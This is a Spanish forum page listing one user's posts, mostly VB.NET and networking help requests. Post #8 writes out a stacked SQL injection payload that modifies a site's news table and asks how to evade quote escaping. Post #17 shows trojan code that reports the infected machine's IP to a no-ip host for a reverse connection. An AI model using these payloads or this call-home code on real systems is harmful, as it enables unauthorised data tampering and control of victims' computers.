Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - odeONeSs

#1
Buenas a todos!

Tengo una duda, a ver si alguien me puede ayudar. Un teléfono móvil de X compañía tiene una IP del tipo AAA.BBB.CCC.DDD , haciendo un Whois a la IP te indica el rango en AAA.BBB.CCC.0-255 el que está dicha IP.

¿La IP tiene alguna relación con la celda a la que está conectado?,

¿Significa que todos los dispositivos con IPs de ese rango están conectadas a esa celda?

Muchas gracias de antemano!

:D

#2
Bugs y Exploits / Posible bug PHP 5.3.3
22 Agosto 2013, 00:06 AM
Hola buenas,

Programando un servicio web muy sencillo me he dado cuenta de que php hace algo muy raro. Puede ser el principio de un posible buffer overflow??? :S no se.. la verdad que nunca se me ha dado bien debuggear...

Os cuento:

en este código correspondiente a "fichero.php" recojo un parámetro get v e incluyo un "unarchivo.php" en el caso de que v sea igual a "2.0"

Código (php) [Seleccionar]
<?
$version=isset($_GET['v']) ? $_GET['v'] : '2.0' ;
if($version=='2.0'){
include('unarchivo.php');
}
?>


Al hacer la petición al fichero: http://localhost/fichero.php?v=2.0 todo va bien , se incluye correctamente "unarchivo.php"

Al hacer la petición al fichero: http://localhost/fichero.php?v=2.1 todo va bien , no se incluye

En cambio al hacer la petición http://localhost/fichero.php?v=2.00 de igual manera se incluye :SS

Continuando haciendo pruebas si se hace una petición  http://localhost/fichero.php?v=2.001 no se incluye.

Pero lo mas heavy de esto es que buscando los límites de esto haciendo la petición con 15 ceros trás el punto http://localhost/fichero.php?v=2.0000000000000001125

Se incluye admitiendo cualquier número detrás!!! (con letras no tira).

Alguien sabe que puede significar esto????

Gracias y Saludos!!

#3
Hacking Mobile / Metodología Pentest Móvil
22 Noviembre 2012, 17:09 PM
Buenas,
Seré rapidillo , alguien ha planteado una metodología de Pentesting en infraestructuras móviles?

Gracias!!
#4
Hola buenas,
Me gustaría saber si alguien tiene algún tipo de información acerca de la detección de Rootkits y hooks en vb.net.

Saludos y Gracias!!
#5
Hola buenas!
Despues de horas buscando en google  ...y no encontrando nada ... :-( :-( :-( :-( :-(
queria saber si sabiais añadir nodos a un treeview desde un backgroundworker en vb.net ????????
Cuando lo intento me sale la siguiente excepcion:

CitarLa acción que se realiza en este control se está llamando desde el subproceso
erróneo. Calcule las referencias al subproceso correcto utilizando Control.Invoke o
Control.BeginInvoke para realizar esta acción.



Muchas gracias de antemano!!!   ;D

#6
Quiza este es el chat oficial de elhacker.net???  :huh: Conectaros con el Mirc o cualquier cliente de ir a irc.irc-hispano.org y buscar el canal "elhacker.net", esta el-brujo de Op.

saludos!!
#7
Hola buenas! llevo entrando en este foro desde hace ya tiempo, aunque soy mas de leer posts. Se me ha ocurrido una buena idea, y esque elhacker.net podria tener su propio canal de televisión, con tutoriales, información de actualidad sobre seguridad.. documentales ect... y que los usuarios puedan alimentarlo, Que os parece??? Investigando sobre canales de tv sobre hacking encontre esta pagina http://www.mogulus.com, donde puedes hacer tu propio canal de television.  Es una buena alternativa a la television de ***** que hay hoy en dia no???

Un saludo!!!
#8
Os cuento mas o menos, he conseguido sacar todas las tablas, pero al intentar hacer un update me salta un filtro por la comilla, ya que al poner comilla simple el codigo php lo remplaza por '\\\'.


Código (html4strict) [Seleccionar]
http://www.web.com/noticia.php?id=-1'; UPDATE Basededatos.noticias+SET+breve+=+0x4572726f72+WHERE+id+=+8+;/*

El error que devuelve es este:

Código (apache) [Seleccionar]
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'\\\';UPDATE web.noticias SET breve = 0x4572726f72 WHERE id = 8 ;/*' at line 1


Alguna vez os habeis encontrado con esto? alguna idea?

Gracias de antemano!
#9
Hola buenas!!
Tengo un problemilla y es que he hecho un arbol explorador de directorios, el tema es que en Windows xp funciona a la perfección, y en windows vista tambien funciona, pero cuando quiero cargar un array con System.IO.Directory.GetDirectories en ciertas carpetas como "Documents and Setings" o "Archivos de programa" me dice que no tengo los permisos necesarios. He ejecutado el programa como administrador y con compatibilidad Con windowsXp, pero nada, me gustaria saber si a alguien mas le ha pasado.

Gracias por antipado

Un saludo!!

Aqui os dejo el codigo posteado:

Código (vbnet) [Seleccionar]
Private Sub cargar_arbol()
        Dim i, x, z As Integer
        Dim cadena() As String
        Dim resultado As String

        Dim tvRoot, tvNode1, tvNode2, tvNode3 As TreeNode
        Dim unidades() As System.IO.DriveInfo
        Dim Nivel1(), Nivel2() As String

        'añade mipc
        tvRoot = Me.TreeView.Nodes.Add("mipc", "Mi PC", 4)
        unidades = System.IO.DriveInfo.GetDrives
        'obtiene unidades

        For i = 0 To UBound(unidades)
            'carga unidades
            cadena = Split(unidades(i).ToString, "\")
            resultado = cadena(UBound(cadena) - 1)
            If unidades(i).DriveType = DriveType.CDRom Then
                tvNode1 = tvRoot.Nodes.Add(unidades(i).ToString, resultado, 3)
            Else
                tvNode1 = tvRoot.Nodes.Add(unidades(i).ToString, resultado, 2)
            End If

            Try
                Nivel1 = System.IO.Directory.GetDirectories(unidades(i).ToString)


                For x = 0 To UBound(Nivel1)
                    'carga unidades
                    cadena = Split(Nivel1(x).ToString, "\")
                    resultado = cadena(UBound(cadena))

                    tvNode2 = tvNode1.Nodes.Add(Nivel1(x).ToString, resultado)

                    Nivel2 = System.IO.Directory.GetDirectories(Nivel1(x).ToString)

                    For z = 0 To UBound(Nivel2)

                        cadena = Split(Nivel2(z).ToString, "\")
                        resultado = cadena(UBound(cadena))

                        tvNode3 = tvNode2.Nodes.Add(Nivel2(z).ToString, resultado)

                    Next

                Next

            Catch ex As Exception

             

            End Try


        Next

 


    End Sub


Código (vbnet) [Seleccionar]
Private Sub TreeView_BeforeExpand(ByVal sender As Object, ByVal e As System.Windows.Forms.TreeViewCancelEventArgs) Handles TreeView.BeforeExpand
        Dim x, z As Integer
        Dim cadena() As String
        Dim resultado As String

        Dim tvNode2, tvNode3 As TreeNode

        Dim Nivel1(), Nivel2() As String
        If TreeView.SelectedNode.Name <> "mipc" Then


            Try

                Nivel1 = System.IO.Directory.GetDirectories(TreeView.SelectedNode.Name)

                TreeView.SelectedNode.Nodes.Clear()
                For x = 0 To UBound(Nivel1)
                    'carga unidades
                    cadena = Split(Nivel1(x).ToString, "\")
                    resultado = cadena(UBound(cadena))
                 
                    tvNode2 = TreeView.SelectedNode.Nodes.Add(Nivel1(x).ToString, resultado)
                    If resultado <> "System Volume Information" Then
                        Nivel2 = System.IO.Directory.GetDirectories(Nivel1(x).ToString)

                        For z = 0 To UBound(Nivel2)

                            cadena = Split(Nivel2(z).ToString, "\")
                            resultado = cadena(UBound(cadena))

                            tvNode3 = tvNode2.Nodes.Add(Nivel2(z).ToString, resultado)

                        Next
                    End If

                Next

            Catch ex As Exception
                MsgBox("Error " & TreeView.SelectedNode.Name)

         
            End Try

        End If




    End Sub
#10
Hola buenas, necesito saber como se puede montar un servidor streaming utilizando Visual basic 2005 o visual basic 6.0, quiero hacer una aplicacion que gestione  una television online.
Por ahora en mis investigaciones, se que se puede hacer con un servicio de windows 2003 server , se llama Windows Media Services, yo queria hacer algo parecido pero con la gestion de video propia. Si consigo hacerlo se le pueden dar muchas aplicaciones como por ejemplo ver webcams con mucha calidad y casi en tiempo real.

Espero que me podais ayudar.

Saludosss y gracias de antemano ;D
#11
.NET (C#, VB.NET, ASP) / Servidor Streaming
16 Julio 2008, 13:41 PM
Hola buenas, necesito saber como se puede montar un servidor streaming utilizando Visual basic 2005, quiero hacer una aplicacion que gestione  una television online.
Por ahora en mis investigaciones, se que se puede hacer con un servicio de windows 2003 server , se llama Windows Media Services, yo queria hacer algo parecido pero con la gestion de video propia. Si consigo hacerlo se le pueden dar muchas aplicaciones como por ejemplo ver webcams con mucha calidad y casi en tiempo real.

Espero que me podais ayudar.

Saludosss y gracias de antemano ;D
#12
  Googleando me encontre esto a ver si os sirve a alguno
Lo que mas interesa es que son muchisimas cosas para cambiar de windows
a traves del registro.

http://vagos.es/showthread.php?p=603313

Estoy viendo si se pueden anular las politicas
en un usuario restringido, atraves de la consola de usuarios. A ver si consigo
hacerlo con visual basic, si alguien sabe algo por favor que conteste.




Un saludo!!
#13
Hola buenas, estoy trabajando en un escritorio remoto, os cuento mi idea mas o menos...
lo que hace el programa por ahora es:
-hace una captura
-la comprime en jpg
-la corta en 9 trozos
-envia estos trozos a un ftp.
-.. Aun me faltan muchas cosas..

                     mas  o menos asi:

                     I---------I---------I---------I
                     I---------I---------I---------I
                     I---------I---------I---------I
                     I---------I---------I---------I

Pero una cosa clave, es detectar si alguno de estos 9 trozos a cambiado, para asi hacer mas agil y rápido el programa, y de esta manera mandar unicamente los trozos que han cambiado en vez de mandar todos cada x tiempo.

Sabria alguien como detectar el cambio???


MUxas Gracias De antemano

Un Saludo!!!  (y feliz año)  :D
#14
Hola buenas, me gustaria saber si existe alguna forma de navegar atraves de un Proxy con un control WebBrowser, Hasta ahora lo único que se me ha ocurrido y no da resultado es modificar el registro de windows para que el Iexplorer cambie el su proxy, y asi el WebBrowser tambien este condicionado por ese cambio. No se si usare proxys que no funcionen o yo que se.. os dejo el codigo para que lo veais. No todas las rutinas son mias.


Dim i As Integer


Private Sub CambiarProxy(strProxyServer As String)

    ' ubicacion en la registry
    Dim strRegPath
   
    strRegPath = "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
   
    Set oWshShell = CreateObject("WScript.Shell")
    ' modifica las entradas en el registro
   
    Call oWshShell.RegWrite(strRegPath & "ProxyEnable", "00000001", "REG_DWORD")
   
    Call oWshShell.RegWrite(strRegPath & "ProxyOverride", "<local>", "REG_SZ")
   
    Call oWshShell.RegWrite(strRegPath & "ProxyServer", strProxyServer, "REG_SZ")
   
    ' notificacion
   
    MsgBox "Proxy setting enabled. " & vbCrLf & "Server - " & strProxyServer
   
    ' destroy
   
    Set oWshShell = Nothing
End Sub

Private Sub QuitarProxy()
    Dim strRegPath
   
     
   
    ' ubicacion en la registry
   
    strRegPath = "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
   
    Set oWshShell = CreateObject("WScript.Shell")
   
     
   
    ' modifica las entradas en el registro
   
    Call oWshShell.RegWrite(strRegPath & "ProxyEnable", "00000000", "REG_DWORD")
   
     
   
    ' notificacion
   
    MsgBox "Proxy setting disabled"
   
    ' destroy
   
    Set oWshShell = Nothing
End Sub

Private Sub cargar(lw As ListBox, fname As String)
    'carga una lista de servidores de un txt cada servidor en una linea y separdo del puerto por :
   
    Dim dire As String
   
    dire = App.Path + "\" + fname
   
    Open dire For Input As #1
    While Not EOF(1)
    Line Input #1, file_data$
    lw.AddItem file_data$
    Wend
    Close #1
   
   
End Sub
Private Function pinga(ip As String) As Boolean
'Funcion que hace un ping a una ip devuelve true si hace pong

   Dim conectado As Boolean
   Dim Reply As ICMP_ECHO_REPLY
   Dim lngSuccess As Long
   Dim strIPAddress As String
   
   conectado = False
   'Get the sockets ready.
   If SocketsInitialize() Then
   
    'Address to ping
    strIPAddress = ip
   
   
    'Ping the IP that is passing the address and get a reply.
    lngSuccess = ping(strIPAddress, Reply)
     
    'Display the results.
   
    If EvaluatePingResponse(lngSuccess) <> "Success!" Then
   
        conectado = False
   
    Else
       
        conectado = True
     
    End If
     
    'Clean up the sockets.
    SocketsCleanup
     
   Else
   
   'Winsock error failure, initializing the sockets.
     conectado = False
     pinga = conectado
     
   
   End If
   
    pinga = conectado
End Function

Private Sub Command1_Click()
    cargar List1, "proxys.txt"
End Sub

Private Sub Command2_Click()
    'boton que hace ping y saca el resultado con 2 shape uno verde y otro rojo
   
    Dim ip
    Dim ipbuena As String
   
    ip = Split(List1.Text, ":")
    ipbuena = ip(0)
    If pinga(ipbuena) = True Then
      rojo.Visible = False
      verde.Visible = True
    Else
     rojo.Visible = True
     verde.Visible = False
    End If

End Sub

Private Sub Command3_Click()
    'cambia el proxy desde una lista de proxys
    'utilizando el registro de windows
    CambiarProxy List1.Text
End Sub

Private Sub Command4_Click()
    WebBrowser1.Navigate txt_url.Text
End Sub

Private Sub Command5_Click()
    'boton que inutiliza el proxy en iexplorer
    QuitarProxy
End Sub

Private Sub Form_Load()
    On Error Resume Next
    i = 0
    cargar List1, "proxys.txt"
    'añade ips locales para hacer pruebas de ping
    List1.AddItem "192.168.1.1:80"
    List1.AddItem "192.168.1.4:80"
End Sub


Bueno un saludo Gracias  ;D
#15
Hola buenas, me gustaria saber si es posible modificar una base de datos que este en un ftp desde vb. Me da igual el tipo de base de datos.

Muxas gracias  :)
#16
Hola wenas!!
Mi duda es la siguiente, me gustaria saber como puedo reducir un picturebox con una imagen cargada y luego guardarlo con el tamaño reducido.

ASias Anticipadas!!! ;D
#17
Hola wenas! Os cuento lo que me pasa.
Estoy haciendo un troyano.Lo que quiero es que el servidor infectado se conecte por udp a un servidor no-ip, envie
una cadena  de caracteres con la ip del infectado, y que el cliente reciba esta ip para conectarse por tcp al servidor.
Copio un ejemplo de codigo:

En un formulario que se llame mandador esto:


Private Sub Form_Load()
recibidor.Show
UDP1.RemotePort = puerto.Text
UDP1.RemoteHost = servidornoip.Text
UDP1.Bind
End Sub

Private Sub Command1_Click()
UDP1.SendData Text2.Text
End Sub

y en otro formulario que se llame recibidor esto:

Private Sub Form_Load()
UDP2.LocalPort = mandador.puerto.Text
End Sub

Private Sub UDP2_DataArrival(ByVal bytesTotal As Long)
Dim data As String
UDP2.GetData data
Text1.Text = data
End Sub

El servidor no-ip esta configurado como DNS Host (A). Mi servidor Dns resuelve el host perfectamente, he kitado el firewall y no rula.
No se que es lo que psa, creo que lo estoy haciendo bien.
ASIAS POR ANTICIPADO.  ;D